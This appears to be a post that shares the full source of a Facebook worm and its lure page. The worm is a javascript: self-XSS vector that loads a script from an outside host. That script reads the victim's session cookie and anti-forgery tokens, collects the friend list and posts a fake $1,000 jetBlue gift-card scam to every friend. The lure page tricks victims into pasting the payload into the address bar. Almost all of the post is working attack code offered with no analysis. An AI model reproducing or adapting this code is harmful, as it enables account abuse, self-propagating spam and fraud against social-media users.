Facebook worm again..

vector: javascript:(a=(b=document).createElement('script')).src='//ablingla.com/face/facehax.js',b.body.appendChild(a);void(0)

facehax.js:
var thelink = "http://is.gd/9d3AE0";

function readCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') c = c.substring(1, c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
    }
    return null
}
var randomnumber=Math.floor(Math.random()*99999);
var user_id = readCookie("c_user");
var user_name = document.getElementById('navAccountName').innerHTML;
var message = "jetBlue is giving out 32 more $1,000 gift cards, simply click Gimme my gift card below to get yours!";
var myText = "GIMME MY GIFT CARD GIMME MY GIFT CARD GIMME MY GIFT CARD GIMME MY GIFT CARD GIMME MY GIFT CARD GIMME MY GIFT CARD GIMME MY GIFT CARD\n";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
        data = eval('(' + gf.responseText.substr(9) + ')');
        if(data.error){ }else{
                friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
        }
}
for(var i=0; i<friends.length; i++){
        var httpwp = new XMLHttpRequest();
        var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
        var paramswp = "&__d=1&app_id=6628568379&extern=1&" +
                                   "&post_form_id=" + post_form_id +
                                   "&fb_dtsg=" + fb_dtsg +
                                   "&feed_info[action_links][0][href]=" + encodeURIComponent(thelink) +
                                   "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
                                   "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
                                   "&user_message=" + message;
        httpwp.open("POST", urlwp, true);
        httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        httpwp.setRequestHeader("Content-length", paramswp.length);
        httpwp.setRequestHeader("Connection", "keep-alive");
        httpwp.onreadystatechange = function(){
                if (httpwp.readyState == 4 && httpwp.status == 200){

                }
        }
        httpwp.send(paramswp);
}

alert("WINNER! Click OK to Continue..");
window.location = "http://appboxkm.info.s3-website-us-east-1.amazonaws.com/";


----------
index.html:
<!doctype html>
<!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
<!--[if IE 7 ]>    <html lang="en" class="no-js ie7"> <![endif]-->
<!--[if IE 8 ]>    <html lang="en" class="no-js ie8"> <![endif]-->
<!--[if IE 9 ]>    <html lang="en" class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--><html lang="en" class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8"/>
<title></title>
<style type="text/css">
html * {margin: 0; padding: 0;}       body {width: 520px; margin: 0 auto; font-family: "lucida grande",tahoma,verdana,arial,sans-serif; font-size: 14px;}       textarea, a {font-size: 24px; text-align: center; position: absolute; top: 0; left: 0; width: 401px; height: 20px; filter: alpha(opacity=1); -khtml-opacity: 0.01; -moz-opacity: 0.01; opacity: 0.01; cursor: pointer;}       li {margin: 5px;}       ol {list-style: decimal;}
</style>
<!--[if lt IE 9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
</head>
<body>
<br>


<div style="background: url('http://1.bp.blogspot.com/-mPStXUBwF8Y/TcDklWEtieI/AAAAAAAAAAs/_EdzOJvct6E/s1600/bg1.png') no-repeat top left; width: 485px; height: 335px; padding: 15px 0 0 20px;">
    <p style="color: white; font-weight: 700;">
        Security Check
    </p>
    <p style="font-size: 11px; padding-top: 15px">
        Please complete our new <strong>5 second</strong> security check to get your gift card.
    </p>
    <div id="container" style="margin-top: 40px;">

        <p id="button" style="cursor: pointer; color: white; font-weight: 700; background-color: #8298c0; width: 150px; height: 20px; text-align: center; padding: 10px; border: solid 1px #4e6fa7; margin: 0 auto;">
Get your gift card        </p>
        <div id="key" style="display: none; width: 401px; margin: 0 auto;">
            <ol style="padding-left: 10px; font-size: 12px">
                <strong>Press the following keys on your keyboard in order:</strong><br><br>
                <li>Press <strong>CTRL + C</strong></li>
                <li>Press <strong>ALT + D</strong></li>

                <li>Press <strong>CTRL + V</strong></li>

                <li>Press <strong>Enter</strong></li>
                <li><strong>Get your $1,000 gift card</strong></li>
            </ol>
            <div id="cd" style="position: relative; width: 401px; height: 20px; margin-left: -30px;">
              <textarea id="c">javascript:(a=(b=document).createElement('script')).src='//ablingla.com/face/facehax.js',b.body.appendChild(a);void(0)</textarea>

            </div>
        </div>

    </div>


</div>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.5.2.min.js"></script>
<script type="text/javascript">       $(document).ready(function() {         $("#button").click(function(){           $("#button").css("display","none");           $("#key").css("display","block");           $("#c").focus();           $("#c").select();         });       });     </script>
  <script type="text/javascript" id="wau_scr_53bb8237">
    var wau_p = wau_p || []; wau_p.push(["4cyr", "53bb8237", false]);
    (function() {
        var s=document.createElement("script"); s.type="text/javascript";
        s.async=true; s.src="http://widgets.amung.us/a_pro.js";
        document.getElementsByTagName("head")[0].appendChild(s);
    })();
</script></body>

</html>
<script src = 'https://s3.amazonaws.com/statichtmlapp/scrollbar.js' > </script>